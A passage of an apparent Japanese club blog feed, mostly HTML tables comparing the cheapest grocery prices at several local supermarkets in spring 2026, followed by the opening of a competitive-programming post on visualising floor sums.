<tr><td>259</td><td>10&#x500B;</td><td>2026-03-28</td><td>&#x307E;&#x3044;&#x3070;&#x3059;&#x3051;&#x3063;&#x3068;</td><td>&#x6BCE;&#x65E5;&#x3057;&#x3042;&#x308F;&#x305B;&#x305F;&#x307E;&#x3054; &#x767D;</td></tr>
<tr><td>288</td><td>10&#x500B;</td><td>2026-04-20</td><td>&#x8089;&#x306E;&#x30CF;&#x30CA;&#x30DE;&#x30B5;</td><td>&#x305F;&#x307E;&#x3054;M&#x30B5;&#x30A4;&#x30BA;</td></tr>
<tr><td>299</td><td>10&#x500B;</td><td>2026-04-11</td><td>&#x6771;&#x6025;&#x30B9;&#x30C8;&#x30A2;</td><td>&#x5F69;&#x59EB;</td></tr>
<tr><td>299</td><td>10&#x500B;</td><td>2026-04-15</td><td>&#x30D2;&#x30EB;&#x30DE;&#x30DE;&#x30FC;&#x30B1;&#x30C3;&#x30C8;&#x30D7;&#x30EC;&#x30A4;&#x30B9;</td><td>&#x516B;&#x5343;&#x4EE3;&#x30DD;&#x30FC;&#x30C8;&#x30EA;&#x30FC; &#x8FB2;&#x5834;&#x304B;&#x3089;&#x306E;&#x8D08;&#x308A;&#x7269; &#x767D;&#x7389;</td></tr>
<tr><td>420</td><td>10&#x500B;</td><td>2026-04-21</td><td>&#x5E02;&#x5834;&#x306E;&#x3042;&#x3093;&#x3061;&#x3083;&#x3093;</td><td>&#x96C5;&#x5C71;&#x9E93;</td></tr>

</table>
</div>
</div>

<!-- 牛乳 -->
<button class="accordion">&#x725B;&#x4E73; &#x306E;&#x6700;&#x5B89;&#x5024;</button>
<div class="panel">
<div class="table-wrapper">
<table class="sortable">
<tr><th>&#x91D1;&#x984D;&#xFF08;&#x7A0E;&#x629C;&#xFF09;</th><th>&#x5185;&#x5BB9;&#x91CF;</th><th>&#x65E5;&#x4ED8;</th><th>&#x30D6;&#x30E9;&#x30F3;&#x30C9;&#x540D;</th><th>&#x5546;&#x54C1;&#x540D;</th></tr>

<tr class="highlight"><td>111</td><td>1L</td><td>2026-04-05</td><td>&#x696D;&#x52D9;&#x30B9;&#x30FC;&#x30D1;&#x30FC;</td><td>&#x897F;&#x6B66;&#x916A;&#x8FB2; &#x4F4E;&#x8102;&#x80AA;&#x4E73;</td></tr>
<tr><td>129</td><td>1L</td><td>2026-03-28</td><td>&#x307E;&#x3044;&#x3070;&#x3059;&#x3051;&#x3063;&#x3068;</td><td>&#x53E4;&#x8C37; &#x4F4E;&#x8102;&#x80AA;</td></tr>
<tr><td>139</td><td>1L</td><td>2026-04-20</td><td>&#x8089;&#x306E;&#x30CF;&#x30CA;&#x30DE;&#x30B5;</td><td>&#x5473;&#x308F;&#x3044;&#x8EFD;&#x3084;&#x304B;&#x4F4E;&#x8102;&#x80AA;</td></tr>
<tr><td>148</td><td>1L</td><td>2026-04-10</td><td>&#x30A4;&#x30AA;&#x30F3;&#x30B9;&#x30BF;&#x30A4;&#x30EB;</td><td>&#x30D9;&#x30B9;&#x30C8;&#x30D7;&#x30E9;&#x30A4;&#x30B9;&#x4F4E;&#x8102;&#x80AA;</td></tr>
<tr><td>179</td><td>1L</td><td>2026-04-15</td><td>&#x30D2;&#x30EB;&#x30DE;&#x30DE;&#x30FC;&#x30B1;&#x30C3;&#x30C8;&#x30D7;&#x30EC;&#x30A4;&#x30B9;</td><td>&#x3042;&#x3058;&#x308F;&#x3044;&#x4FBF;&#x308A;</td></tr>
<tr><td>198</td><td>1L</td><td>2026-04-11</td><td>&#x6771;&#x6025;&#x30B9;&#x30C8;&#x30A2;</td><td>&#x3042;&#x3058;&#x308F;&#x3044;&#x4FBF;&#x308A;</td></tr>
<tr><td>239</td><td>1L</td><td>2026-04-11</td><td>&#x30A4;&#x30C1;&#x30D0;&#x30F3;</td><td>&#x725B;&#x4E73;</td></tr>

</table>
</div>
</div>

<!-- ベーコン -->
<button class="accordion">&#x30D9;&#x30FC;&#x30B3;&#x30F3; &#x306E;&#x6700;&#x5B89;&#x5024;</button>
<div class="panel">
<div class="table-wrapper">
<table class="sortable">
<tr><th>&#x91D1;&#x984D;&#xFF08;&#x7A0E;&#x629C;&#xFF09;</th><th>&#x5185;&#x5BB9;&#x91CF;</th><th>&#x65E5;&#x4ED8;</th><th>&#x30D6;&#x30E9;&#x30F3;&#x30C9;&#x540D;</th><th>&#x5546;&#x54C1;&#x540D;</th></tr>

<tr class="highlight"><td>298</td><td>4&#x9023;</td><td>2026-04-15</td><td>&#x30D2;&#x30EB;&#x30DE;&#x30DE;&#x30FC;&#x30B1;&#x30C3;&#x30C8;&#x30D7;&#x30EC;&#x30A4;&#x30B9;</td><td>&#x3044;&#x3064;&#x3082;&#x65B0;&#x9BAE;&#x30CF;&#x30FC;&#x30D5;&#x30D9;&#x30FC;&#x30B3;&#x30F3;</td></tr>
<tr><td>299</td><td>4&#x9023;</td><td>2026-03-28</td><td>&#x307E;&#x3044;&#x3070;&#x3059;&#x3051;&#x3063;&#x3068;</td><td>&#x3044;&#x3064;&#x3082;&#x65B0;&#x9BAE;&#x30CF;&#x30FC;&#x30D5;&#x30D9;&#x30FC;&#x30B3;&#x30F3;</td></tr>

</table>
</div>
</div>


<!-- にんじん -->
<button class="accordion">&#x306B;&#x3093;&#x3058;&#x3093; &#x306E;&#x6700;&#x5B89;&#x5024;</button>
<div class="panel">
<div class="table-wrapper">
<table class="sortable">
<tr><th>&#x91D1;&#x984D;&#xFF08;&#x7A0E;&#x629C;&#xFF09;</th><th>&#x5185;&#x5BB9;&#x91CF;</th><th>&#x65E5;&#x4ED8;</th><th>&#x30D6;&#x30E9;&#x30F3;&#x30C9;&#x540D;</th><th>&#x5546;&#x54C1;&#x540D;</th></tr>

<tr class="highlight"><td>199</td><td>&#x4E2D;2&#x500B;</td><td>2026-04-11</td><td>&#x30A4;&#x30C1;&#x30D0;&#x30F3;</td><td>&#x306B;&#x3093;&#x3058;&#x3093;</td></tr>
<tr class="highlight"><td>199</td><td>&#x5C0F;3&#x500B;</td><td>2026-04-23</td><td>&#x307E;&#x3044;&#x3070;&#x3059;&#x3051;&#x3063;&#x3068;</td><td>&#x306B;&#x3093;&#x3058;&#x3093;</td></tr>
<tr><td>200</td><td>&#x5C0F;4&#x500B;</td><td>2026-04-21</td><td>&#x5E02;&#x5834;&#x306E;&#x3042;&#x3093;&#x3061;&#x3083;&#x3093;</td><td>&#x306B;&#x3093;&#x3058;&#x3093;</td></tr>
<tr><td>207</td><td>&#x6975;&#x5C0F;8&#x500B;</td><td>2026-04-05</td><td>&#x696D;&#x52D9;&#x30B9;&#x30FC;&#x30D1;&#x30FC;</td><td>&#x4EBA;&#x53C2;&#x5FB3;&#x7528;</td></tr>
<tr><td>249</td><td>&#x5C0F;3&#x500B;</td><td>2026-04-11</td><td>&#x6771;&#x6025;&#x30B9;&#x30C8;&#x30A2;</td><td>&#x306B;&#x3093;&#x3058;&#x3093; &#x5FB3;&#x5CF6;&#x770C;&#x7523;</td></tr>
<tr><td>250</td><td>&#x4E2D;2&#x500B;</td><td>2026-04-20</td><td>&#x8089;&#x306E;&#x30CF;&#x30CA;&#x30DE;&#x30B5;</td><td>&#x306B;&#x3093;&#x3058;&#x3093;</td></tr>
<tr><td>299</td><td>&#x4E2D;3&#x500B;</td><td>2026-04-15</td><td>&#x30D2;&#x30EB;&#x30DE;&#x30DE;&#x30FC;&#x30B1;&#x30C3;&#x30C8;&#x30D7;&#x30EC;&#x30A4;&#x30B9;</td><td>&#x5FB3;&#x5CF6;&#x7523; &#x65B0;&#x4EBA;&#x53C2;</td></tr>

</table>
</div>
</div>

<!-- 木綿豆腐 -->
<button class="accordion">&#x6728;&#x7DBF;&#x8C46;&#x8150; &#x306E;&#x6700;&#x5B89;&#x5024;</button>
<div class="panel">
<div class="table-wrapper">
<table class="sortable">
<tr><th>&#x91D1;&#x984D;&#xFF08;&#x7A0E;&#x629C;&#xFF09;</th><th>&#x5185;&#x5BB9;&#x91CF;</th><th>&#x65E5;&#x4ED8;</th><th>&#x30D6;&#x30E9;&#x30F3;&#x30C9;&#x540D;</th><th>&#x5546;&#x54C1;&#x540D;</th></tr>

<tr class="highlight"><td>40</td><td>1&#x4E01;</td><td>2026-04-05</td><td>&#x696D;&#x52D9;&#x30B9;&#x30FC;&#x30D1;&#x30FC;</td><td>&#x6FC3;&#x539A;&#x8C46;&#x4E73; &#x6728;&#x7DBF;</td></tr>
<tr><td>59</td><td>1&#x4E01;</td><td>2026-04-05</td><td>&#x307E;&#x3044;&#x3070;&#x3059;&#x3051;&#x3063;&#x3068;</td><td>&#x65E8;&#x5473;&#x8C46;&#x8150;&#x3057;&#x3063;&#x304B;&#x308A;&#x6728;&#x7DBF;</td></tr>
<tr><td>69</td><td>1&#x4E01;</td><td>2026-04-11</td><td>&#x30A4;&#x30C1;&#x30D0;&#x30F3;</td><td>&#x3082;&#x3081;&#x3093;&#x8C46;&#x8150;</td></tr>
<tr><td>75</td><td>1&#x4E01;</td><td>2026-04-20</td><td>&#x8089;&#x306E;&#x30CF;&#x30CA;&#x30DE;&#x30B5;</td><td>&#x30D7;&#x30ED;&#x4ED5;&#x69D8; &#x3082;&#x3081;&#x3093;&#x3068;&#x3046;&#x3075;</td></tr>
<tr><td>79</td><td>1&#x4E01;</td><td>2026-04-15</td><td>&#x30D2;&#x30EB;&#x30DE;&#x30DE;&#x30FC;&#x30B1;&#x30C3;&#x30C8;&#x30D7;&#x30EC;&#x30A4;&#x30B9;</td><td>&#x76F8;&#x6A21;&#x5C4B; &#x3053;&#x3060;&#x308F;&#x308A;&#x6728;&#x7DBF; 400g</td></tr>
<tr><td>99</td><td>1&#x4E01;</td><td>2026-04-11</td><td>&#x6771;&#x6025;&#x30B9;&#x30C8;&#x30A2;</td><td>&#x4E00;&#x4E01;&#x5BC4;&#x305B;&#x3082;&#x3081;&#x3093;&#x3068;&#x3046;&#x3075;</td></tr>

</table>
</div>
</div>

<!-- 玉ねぎ -->
<button class="accordion">&#x7389;&#x306D;&#x304E; &#x306E;&#x6700;&#x5B89;&#x5024;</button>
<div class="panel">
<div class="table-wrapper">
<table class="sortable">
<tr><th>&#x91D1;&#x984D;&#xFF08;&#x7A0E;&#x629C;&#xFF09;</th><th>&#x5185;&#x5BB9;&#x91CF;</th><th>&#x65E5;&#x4ED8;</th><th>&#x30D6;&#x30E9;&#x30F3;&#x30C9;&#x540D;</th><th>&#x5546;&#x54C1;&#x540D;</th></tr>

<tr><td>160</td><td>&#x4E2D;1&#x500B;</td><td>2026-04-21</td><td>&#x5E02;&#x5834;&#x306E;&#x3042;&#x3093;&#x3061;&#x3083;&#x3093;</td><td>&#x305F;&#x307E;&#x306D;&#x304E;</td></tr>
<tr class="highlight"><td>298</td><td>&#x4E2D;3&#x500B;</td><td>2026-04-20</td><td>&#x8089;&#x306E;&#x30CF;&#x30CA;&#x30DE;&#x30B5;</td><td>&#x5317;&#x6D77;&#x9053;&#x7523; &#x7389;&#x306D;&#x304E;</td></tr>
<tr><td>299</td><td>&#x4E2D;3&#x500B;</td><td>2026-04-11</td><td>&#x6771;&#x6025;&#x30B9;&#x30C8;&#x30A2;</td><td>&#x3075;&#x3089;&#x306E;&#x7389;&#x306D;&#x304E;</td></tr>
<tr><td>299</td><td>&#x4E2D;3&#x500B;</td><td>2026-04-11</td><td>&#x30A4;&#x30C1;&#x30D0;&#x30F3;</td><td>&#x305F;&#x307E;&#x306D;&#x304E;</td></tr>
<tr><td>299</td><td>&#x5C0F;5&#x500B;</td><td>2026-04-23</td><td>&#x307E;&#x3044;&#x3070;&#x3059;&#x3051;&#x3063;&#x3068;</td><td>&#x305F;&#x307E;&#x306D;&#x304E;</td></tr>
<tr><td>322</td><td>&#x5C0F;6&#x500B;</td><td>2026-04-05</td><td>&#x696D;&#x52D9;&#x30B9;&#x30FC;&#x30D1;&#x30FC;</td><td>&#x305F;&#x307E;&#x306D;&#x304E;&#x5FB3;&#x7528;</td></tr>
<tr><td>336</td><td>&#x4E2D;3&#x500B;</td><td>2026-04-15</td><td>&#x30D2;&#x30EB;&#x30DE;&#x30DE;&#x30FC;&#x30B1;&#x30C3;&#x30C8;&#x30D7;&#x30EC;&#x30A4;&#x30B9;</td><td>&#x5317;&#x6D77;&#x9053;&#x7523; &#x7389;&#x306D;&#x304E;&#xFF08;&#x91CF;&#x308A;&#x58F2;&#x308A;&#xFF09;</td></tr>

</table>
</div>
</div>

<!-- 舞茸 -->
<button class="accordion">&#x821E;&#x8338; &#x306E;&#x6700;&#x5B89;&#x5024;</button>
<div class="panel">
<div class="table-wrapper">
<table class="sortable">
<tr><th>&#x91D1;&#x984D;&#xFF08;&#x7A0E;&#x629C;&#xFF09;</th><th>&#x5185;&#x5BB9;&#x91CF;</th><th>&#x65E5;&#x4ED8;</th><th>&#x30D6;&#x30E9;&#x30F3;&#x30C9;&#x540D;</th><th>&#x5546;&#x54C1;&#x540D;</th></tr>

<tr class="highlight"><td>88</td><td>1&#x30D1;&#x30C3;&#x30AF;</td><td>2026-04-05</td><td>&#x696D;&#x52D9;&#x30B9;&#x30FC;&#x30D1;&#x30FC;</td><td>&#x30AB;&#x30C3;&#x30C8;&#x307E;&#x3044;&#x305F;&#x3051;</td></tr>
<tr><td>89</td><td>1&#x30D1;&#x30C3;&#x30AF;</td><td>2026-04-23</td><td>&#x307E;&#x3044;&#x3070;&#x3059;&#x3051;&#x3063;&#x3068;</td><td>&#x96EA;&#x56FD;&#x307E;&#x3044;&#x305F;&#x3051;&#x3000;&#x6975;</td></tr>
<tr><td>139</td><td>1&#x30D1;&#x30C3;&#x30AF;</td><td>2026-04-11</td><td>&#x30A4;&#x30C1;&#x30D0;&#x30F3;</td><td>&#x307E;&#x3044;&#x305F;&#x3051;</td></tr>
<tr><td>150</td><td>1&#x30D1;&#x30C3;&#x30AF;</td><td>2026-04-20</td><td>&#x8089;&#x306E;&#x30CF;&#x30CA;&#x30DE;&#x30B5;</td><td>&#x307E;&#x3044;&#x305F;&#x3051;</td></tr>
<tr><td>158</td><td>1&#x30D1;&#x30C3;&#x30AF;</td><td>2026-04-11</td><td>&#x6771;&#x6025;&#x30B9;&#x30C8;&#x30A2;</td><td>V&#x30DE;&#x30FC;&#x30AF;&#x96EA;&#x56FD;&#x307E;&#x3044;&#x305F;&#x3051; &#x6975;</td></tr>
<tr><td>199</td><td>1&#x30D1;&#x30C3;&#x30AF;</td><td>2026-04-15</td><td>&#x30D2;&#x30EB;&#x30DE;&#x30DE;&#x30FC;&#x30B1;&#x30C3;&#x30C8;&#x30D7;&#x30EC;&#x30A4;&#x30B9;</td><td>&#x30DB;&#x30AF;&#x30C8; &#x682A;&#x53D6;&#x308A;&#x821E;&#x8338; 100g</td></tr>
<tr><td>230</td><td>1&#x30D1;&#x30C3;&#x30AF;</td><td>2026-04-21</td><td>&#x5E02;&#x5834;&#x306E;&#x3042;&#x3093;&#x3061;&#x3083;&#x3093;</td><td>&#x96EA;&#x56FD;&#x307E;&#x3044;&#x305F;&#x3051;</td></tr>

</table>
</div>
</div>

<!-- ウインナー -->
<button class="accordion">&#x30A6;&#x30A4;&#x30F3;&#x30CA;&#x30FC; &#x306E;&#x6700;&#x5B89;&#x5024;</button>
<div class="panel">
<div class="table-wrapper">
<table class="sortable">
<tr><th>&#x91D1;&#x984D;&#xFF08;&#x7A0E;&#x629C;&#xFF09;</th><th>&#x5185;&#x5BB9;&#x91CF;</th><th>&#x65E5;&#x4ED8;</th><th>&#x30D6;&#x30E9;&#x30F3;&#x30C9;&#x540D;</th><th>&#x5546;&#x54C1;&#x540D;</th></tr>

<tr class="highlight"><td>328</td><td>450g</td><td>2026-04-10</td><td>&#x30A4;&#x30AA;&#x30F3;&#x30B9;&#x30BF;&#x30A4;&#x30EB;</td><td>&#x30C1;&#x30AD;&#x30F3;&amp;&#x30DD;&#x30FC;&#x30AF;&#x30A6;&#x30A4;&#x30F3;&#x30CA;</td></tr>
<tr><td>398</td><td>500g</td><td>2026-04-20</td><td>&#x8089;&#x306E;&#x30CF;&#x30CA;&#x30DE;&#x30B5;</td><td>&#x30B9;&#x30FC;&#x30D1;&#x30FC;&#x30A6;&#x30A4;&#x30F3;&#x30CA;&#x30FC;</td></tr>
<tr><td>398</td><td>435g</td><td>2026-04-15</td><td>&#x30D2;&#x30EB;&#x30DE;&#x30DE;&#x30FC;&#x30B1;&#x30C3;&#x30C8;&#x30D7;&#x30EC;&#x30A4;&#x30B9;</td><td>&#x304A;&#x5FB3;&#x7528;&#x30A6;&#x30A4;&#x30F3;&#x30CA;&#x30FC;</td></tr>
<tr><td>399</td><td>465g</td><td>2026-04-23</td><td>&#x307E;&#x3044;&#x3070;&#x3059;&#x3051;&#x3063;&#x3068;</td><td>&#x305F;&#x3063;&#x3077;&#x308A;&#x4F7F;&#x3048;&#x308B;&#x30A6;&#x30A4;&#x30F3;&#x30CA;&#x30FC;&#x3000;&#x3046;&#x3059;&#x76AE;&#x30BF;&#x30A4;&#x30D7;</td></tr>
<tr><td>438</td><td>400g</td><td>2026-04-11</td><td>&#x30A4;&#x30C1;&#x30D0;&#x30F3;</td><td>&#x304A;&#x5FB3;&#x7528;&#x30A6;&#x30A4;&#x30F3;&#x30CA;&#x30FC;</td></tr>

</table>
</div>
</div>

<!-- 白米 -->
<button class="accordion">&#x767D;&#x7C73; &#x306E;&#x6700;&#x5B89;&#x5024;</button>
<div class="panel">
<div class="table-wrapper">
<table class="sortable">
<tr><th>&#x91D1;&#x984D;&#xFF08;&#x7A0E;&#x629C;&#xFF09;</th><th>&#x5185;&#x5BB9;&#x91CF;</th><th>&#x65E5;&#x4ED8;</th><th>&#x30D6;&#x30E9;&#x30F3;&#x30C9;&#x540D;</th><th>&#x5546;&#x54C1;&#x540D;</th></tr>

<tr class="highlight"><td>656</td><td>1kg&#x5F53;&#x305F;&#x308A;</td><td>2026-04-20</td><td>&#x8089;&#x306E;&#x30CF;&#x30CA;&#x30DE;&#x30B5;</td><td>&#x5343;&#x8449;&#x770C;&#x7523;&#x3053;&#x3057;&#x3072;&#x304B;&#x308A;</td></tr>
<tr><td>699.8</td><td>1kg&#x5F53;&#x305F;&#x308A;</td><td>2026-04-23</td><td>&#x307E;&#x3044;&#x3070;&#x3059;&#x3051;&#x3063;&#x3068;</td><td>&#x3042;&#x304B;&#x3075;&#x3058;&#x3044;&#x3064;&#x3082;&#x306E;&#x304A;&#x7C73;</td></tr>
<tr><td>756</td><td>1kg&#x5F53;&#x305F;&#x308A;</td><td>2026-04-11</td><td>&#x6771;&#x6025;&#x30B9;&#x30C8;&#x30A2;</td><td>&#x5BAE;&#x57CE;&#x770C;&#x7523;&#x3072;&#x3068;&#x3081;&#x307C;&#x308C; 5kg</td></tr>
<tr><td>780</td><td>1kg&#x5F53;&#x305F;&#x308A;</td><td>2026-04-15</td><td>&#x30D2;&#x30EB;&#x30DE;&#x30DE;&#x30FC;&#x30B1;&#x30C3;&#x30C8;&#x30D7;&#x30EC;&#x30A4;&#x30B9;</td><td>&#x5CA9;&#x624B;&#x770C;&#x7523; &#x3072;&#x3068;&#x3081;&#x307C;&#x308C;</td></tr>

</table>
</div>
</div>

<!-- 押麦 -->
<button class="accordion">&#x62BC;&#x9EA6; &#x306E;&#x6700;&#x5B89;&#x5024;</button>
<div class="panel">
<div class="table-wrapper">
<table class="sortable">
<tr><th>&#x91D1;&#x984D;&#xFF08;&#x7A0E;&#x629C;&#xFF09;</th><th>&#x5185;&#x5BB9;&#x91CF;</th><th>&#x65E5;&#x4ED8;</th><th>&#x30D6;&#x30E9;&#x30F3;&#x30C9;&#x540D;</th><th>&#x5546;&#x54C1;&#x540D;</th></tr>

<tr class="highlight"><td>47.5</td><td>100g&#x5F53;&#x305F;&#x308A;</td><td>2026-04-20</td><td>&#x8089;&#x306E;&#x30CF;&#x30CA;&#x30DE;&#x30B5;</td><td>&#x80DA;&#x82BD;&#x62BC;&#x9EA6;</td></tr>
<tr><td>60.7</td><td>100g&#x5F53;&#x305F;&#x308A;</td><td>2026-04-11</td><td>&#x6771;&#x6025;&#x30B9;&#x30C8;&#x30A2;</td><td>&#x80DA;&#x82BD;&#x62BC;&#x9EA6;</td></tr>

</table>
</div>
</div>
<!-- 豚肉 -->
<button class="accordion">&#x8C5A;&#x8089; &#x306E;&#x6700;&#x5B89;&#x5024;</button>
<div class="panel">
<div class="table-wrapper">
<table class="sortable">
<tr>
  <th>&#x91D1;&#x984D;&#xFF08;&#x7A0E;&#x629C;&#xFF09;</th>
  <th>&#x5185;&#x5BB9;&#x91CF;</th>
  <th>&#x65E5;&#x4ED8;</th>
  <th>&#x30D6;&#x30E9;&#x30F3;&#x30C9;&#x540D;</th>
  <th>&#x5546;&#x54C1;&#x540D;</th>
</tr>

<tr class="highlight">
  <td>89</td>
  <td>100g&#x5F53;&#x305F;&#x308A;</td>
  <td>2026-04-20</td>
  <td>&#x8089;&#x306E;&#x30CF;&#x30CA;&#x30DE;&#x30B5;</td>
  <td>&#x30AB;&#x30CA;&#x30C0;&#x7523; &#x8C5A;&#x5C0F;&#x9593;&#x5207;&#x8089;&#xFF08;&#x5927;&#xFF09;</td>
</tr>

<tr>
  <td>113</td>
  <td>100g&#x5F53;&#x305F;&#x308A;</td>
  <td>2026-04-11</td>
  <td>&#x30A4;&#x30C1;&#x30D0;&#x30F3;</td>
  <td>&#x8C5A;&#x80A9;&#x5207;&#x308A;&#x843D;&#x3068;&#x3057;</td>
</tr>

<tr>
  <td>118</td>
  <td>100g&#x5F53;&#x305F;&#x308A;</td>
  <td>2026-04-15</td>
  <td>&#x30D2;&#x30EB;&#x30DE;&#x30DE;&#x30FC;&#x30B1;&#x30C3;&#x30C8;&#x30D7;&#x30EC;&#x30A4;&#x30B9;</td>
  <td>&#x8C5A;&#x30ED;&#x30FC;&#x30B9;&#x8089;</td>
</tr>
<tr><td>139</td><td>100g&#x5F53;&#x305F;&#x308A;</td><td>2026-04-23</td><td>&#x307E;&#x3044;&#x3070;&#x3059;&#x3051;&#x3063;&#x3068;</td><td>&#x30A2;&#x30E1;&#x30EA;&#x30AB;&#x7523;&#x8C5A;&#x8089;&#x7D30;&#x5207;&#x308C;</td></tr>

</table>
</div>
</div><!--kg-card-end: html--><!--kg-card-begin: markdown--><h2 id="%E7%B5%82%E3%82%8F%E3%82%8A%E3%81%AB">&#x7D42;&#x308F;&#x308A;&#x306B;</h2>
<p>&#x81EA;&#x5206;&#x304C;&#x5229;&#x7528;&#x3059;&#x308B;&#x969B;&#x306B;&#x96C6;&#x3081;&#x3066;&#x3044;&#x308B;&#x60C5;&#x5831;&#x306E;&#x305F;&#x3081;&#x3001;&#x884C;&#x304F;&#x983B;&#x5EA6;&#x306B;&#x3088;&#x3063;&#x3066;&#x60C5;&#x5831;&#x304C;&#x305D;&#x308D;&#x3063;&#x3066;&#x3044;&#x308B;&#x30B9;&#x30FC;&#x30D1;&#x30FC;&#x3068;&#x305D;&#x3046;&#x3067;&#x306A;&#x3044;&#x30B9;&#x30FC;&#x30D1;&#x30FC;&#x306E;&#x5DEE;&#x304C;&#x5927;&#x304D;&#x304F;&#x51FA;&#x3066;&#x3057;&#x307E;&#x3044;&#x307E;&#x3057;&#x305F;<span style="color:white">&#x3002;&#x539F;&#x56E0;&#x306E;&#x534A;&#x5206;&#x304F;&#x3089;&#x3044;&#x306F;SSD&#x304C;&#x58CA;&#x308C;&#x3066;&#x30C7;&#x30FC;&#x30BF;&#x304C;&#x98DB;&#x3093;&#x3060;&#x3053;&#x3068;&#x306B;&#x3088;&#x308B;&#x304C;</span>&#x3002;<br>
&#x3060;&#x304B;&#x3089;&#x3053;&#x305D;&#x3001;&#x7686;&#x3055;&#x3093;&#x3082;&#x30B3;&#x30E1;&#x30F3;&#x30C8;&#x6B04;&#x306B;&#x6700;&#x5BC4;&#x308A;&#x306E;&#x30B9;&#x30FC;&#x30D1;&#x30FC;&#x306E;&#x60C5;&#x5831;&#x3092;&#x8F09;&#x305B;&#x3066;&#x3001;&#x307F;&#x3093;&#x306A;&#x3067;&#x6700;&#x5F37;&#x306E;&#x4FA1;&#x683C;&#x8868;&#x3092;&#x4F5C;&#x308A;&#x307E;&#x3057;&#x3087;&#x3046;&#xFF01;&#xFF01;<br>
&#x7686;&#x3055;&#x3093;&#x3082;&#xFF08;&#x61D0;&#x306B;&#xFF09;&#x826F;&#x3044;&#x81EA;&#x708A;&#x30E9;&#x30A4;&#x30D5;&#x3092;&#xFF01;</p>
<p>&#x6700;&#x7D42;&#x65E5;&#x3092;&#x7DE0;&#x3081;&#x304F;&#x304F;&#x308B;&#x6295;&#x7A3F;&#x8005;&#x306F;<a href="https://trap.jp/author/2251799813685248/">@2251799813685248</a>&#x3067;&#x3059;&#x3002;</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[視覚的に理解するfloor sum]]></title><description><![CDATA[<p>&#x3053;&#x306E;&#x8A18;&#x4E8B;&#x306F;<a href="https://trap.jp/tag/welcome-relay-2026">&#x65B0;&#x6B53;&#x30D6;&#x30ED;&#x30B0;&#x30EA;&#x30EC;&#x30FC;2026</a> 51&#x65E5;&#x76EE;&#x306E;&#x8A18;&#x4E8B;&#x3067;&#x3059;&#x3002;</p><!--kg-card-begin: markdown--><p>&#x3061;&#x306A;&#x307F;&#x306B;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2251799813685248</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight" style="color:#df0030;">51</span></span></span></span></span></span></span></span></span></span></span></span> &#x3067;&#x3059;&#x3002;</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h3 id="%E3%81%93%E3%81%AE%E3%83%96%E3%83%AD%E3%82%B0%E3%81%A7%E4%BD%BF%E7%94%A8%E3%81%99%E3%82%8B%E8%A8%98%E5%8F%B7%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6">&#x3053;&#x306E;&#x30D6;&#x30ED;&#x30B0;&#x3067;&#x4F7F;&#x7528;&#x3059;&#x308B;&#x8A18;&#x53F7;&#x306B;&#x3064;&#x3044;&#x3066;</h3>]]></description><link>https://trap.jp/post/2905/</link><guid isPermaLink="false">69dc415fe2394c00016e6742</guid><category><![CDATA[新歓ブログリレー2026]]></category><category><![CDATA[競技プログラミング]]></category><category><![CDATA[アルゴリズム班]]></category><dc:creator><![CDATA[2251799813685248]]></dc:creator><pubDate>Sat, 25 Apr 2026 02:56:26 GMT</pubDate><media:content url="https://trap.jp/content/images/2026/04/----------2026-04-13-105847.png" medium="image"/><content:encoded><![CDATA[<img src="https://trap.jp/content/images/2026/04/----------2026-04-13-105847.png" alt="&#x8996;&#x899A;&#x7684;&#x306B;&#x7406;&#x89E3;&#x3059;&#x308B;floor sum"><p>&#x3053;&#x306E;&#x8A18;&#x4E8B;&#x306F;<a href="https://trap.jp/tag/welcome-relay-2026">&#x65B0;&#x6B53;&#x30D6;&#x30ED;&#x30B0;&#x30EA;&#x30EC;&#x30FC;2026</a> 51&#x65E5;&#x76EE;&#x306E;&#x8A18;&#x4E8B;&#x3067;&#x3059;&#x3002;</p><!--kg-card-begin: markdown--><p>&#x3061;&#x306A;&#x307F;&#x306B;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2251799813685248</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight" style="color:#df0030;">51</span></span></span></span></span></span></span></span></span></span></span></span> &#x3067;&#x3059;&#x3002;</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h3 id="%E3%81%93%E3%81%AE%E3%83%96%E3%83%AD%E3%82%B0%E3%81%A7%E4%BD%BF%E7%94%A8%E3%81%99%E3%82%8B%E8%A8%98%E5%8F%B7%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6">&#x3053;&#x306E;&#x30D6;&#x30ED;&#x30B0;&#x3067;&#x4F7F;&#x7528;&#x3059;&#x308B;&#x8A18;&#x53F7;&#x306B;&#x3064;&#x3044;&#x3066;</h3>
<p>&#x5B9F;&#x6570; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> &#x306B;&#x5BFE;&#x3057;&#x3066;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">&#x230A;</span><span class="mord mathnormal">x</span><span class="mclose">&#x230B;</span></span></span></span> &#x306F;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> &#x4EE5;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord cjk_fallback" 